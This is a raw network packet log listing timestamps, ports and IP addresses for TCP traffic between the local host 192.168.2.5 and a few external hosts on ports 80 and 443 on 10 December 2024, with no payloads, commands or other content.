Dec 10, 2024 05:10:45.972141981 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.972198963 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.972228050 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.972295046 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.973046064 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.973109961 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.973150969 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.973901033 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.974019051 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.974031925 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.974378109 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.974777937 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.974818945 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.974929094 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.974970102 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.975652933 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.975742102 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.975806952 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.975853920 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.976530075 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.976679087 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.976731062 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.977431059 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.977497101 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.977505922 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.977546930 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.102015972 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:46.102085114 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:46.102118015 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:46.102164984 CET	49934	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:46.102180004 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:46.102274895 CET	49934	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:46.102281094 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:46.110315084 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:46.110374928 CET	49934	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:46.110379934 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:46.118726015 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:46.118799925 CET	49934	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:46.118805885 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:46.123816013 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.123884916 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.123938084 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.124020100 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.124249935 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.124300003 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.124404907 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.124470949 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.125142097 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.125207901 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.125216961 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.125264883 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.126013994 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.126066923 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.126293898 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.126338005 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.126368046 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.126410007 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.127219915 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.127264977 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.127357006 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.127404928 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.128041029 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.128087997 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.128165960 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.128215075 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.128936052 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.128981113 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.129014969 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.129056931 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.129838943 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.129942894 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.130018950 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.130064964 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.130693913 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.130743027 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.130800009 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.130844116 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.131582022 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.131625891 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.131665945 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.131709099 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.132472038 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.132524967 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.132559061 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.132610083 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.133343935 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.133394003 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.133461952 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.133503914 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.134208918 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.134254932 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.134368896 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.134411097 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.135102987 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.135158062 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.135205984 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.135248899 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.135994911 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.136043072 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.136075974 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.136116982 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.136850119 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.136897087 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.136897087 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.136938095 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.137773991 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.137850046 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.137860060 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.137914896 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.138602018 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.138704062 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.138722897 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.138746977 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.138926983 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:46.139482975 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.139533043 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.139559984 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.139607906 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.140373945 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.140516996 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.140526056 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.140564919 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.140625000 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.141251087 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.141298056 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.141357899 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.141411066 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.142134905 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.142183065 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.142247915 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.142297983 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.143101931 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.143142939 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.143147945 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.143203020 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.143910885 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.143956900 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.143982887 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.144023895 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.144778967 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.144823074 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.144881010 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.144927979 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.145648003 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.145689011 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.145756006 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.145798922 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.146553993 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.146599054 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.146630049 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.146683931 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.147401094 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.147460938 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.147512913 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.147556067 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.148314953 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.148379087 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.148415089 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.148463011 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.149194956 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.149269104 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.149272919 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.149307013 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.150075912 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.150121927 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.150156975 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.150202990 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.150918961 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.151006937 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.151036024 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.151077986 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.151822090 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.151868105 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.151880026 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.151921988 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.152676105 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.152735949 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.152805090 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.152894974 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.153573036 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.153682947 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.153695107 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.153719902 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.154469013 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.154516935 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.154633045 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.154680014 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.155363083 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.155381918 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.155422926 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.156260967 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.156330109 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.156363010 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.156403065 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.157104969 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.157147884 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.157174110 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.157227993 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.157979965 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.158025980 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.158083916 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.158128023 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.158866882 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.158910036 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.158962965 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.159008026 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.159725904 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.159796953 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.159825087 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.159877062 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.160621881 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.160670996 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.160727978 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.160778046 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.161504984 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.161587000 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.161613941 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.161850929 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.162374020 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.162425995 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.162498951 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.162544012 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.163235903 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.163289070 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.163364887 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.163414001 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.164160013 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.164263964 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.164273024 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.164309978 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.165041924 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.165091038 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.165150881 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.165193081 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.165925026 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.165973902 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.165985107 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.166029930 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.166769981 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.166815996 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.166899920 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.166950941 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.167668104 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.167731047 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.167731047 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.167814016 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.168570042 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.168617010 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.168633938 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.168677092 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.169431925 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.169485092 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.169487953 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.169528008 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.221398115 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:46.221463919 CET	49934	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:46.221478939 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:46.258203983 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:46.294217110 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:46.294306993 CET	49934	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:46.294332981 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:46.297904968 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:46.297959089 CET	49934	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:46.297980070 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:46.298027992 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:46.298078060 CET	49934	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:46.298176050 CET	49934	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:46.298191071 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:46.298203945 CET	49934	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:46.298208952 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:46.315917015 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.315984964 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.316246033 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.316291094 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.316294909 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.316426039 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.316466093 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.317183971 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.317224026 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.317363977 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.317493916 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.318034887 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.318068981 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.318324089 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.318357944 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.318423986 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.318598032 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.319236994 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.319272041 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.319307089 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.319350958 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.320102930 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.320163012 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.320219994 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.320290089 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.320969105 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.321026087 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.321077108 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.321136951 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.321851015 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.321890116 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.322083950 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.322143078 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.322730064 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.322765112 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.322860956 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.322952032 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.323622942 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.323666096 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.323765039 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.323863029 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.324553013 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.324590921 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.324662924 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.324697018 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.325396061 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.325437069 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.325467110 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.325527906 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.326246977 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.326288939 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.326417923 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.326467991 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.327142954 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.327214956 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.327348948 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.327406883 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.328133106 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.328146935 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.328269958 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.329067945 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.329113007 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.329292059 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.329366922 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.329754114 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.329794884 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.329969883 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.330029964 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.330749035 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.330761909 CET	80	49921	185.215.113.16	192.168.2.5
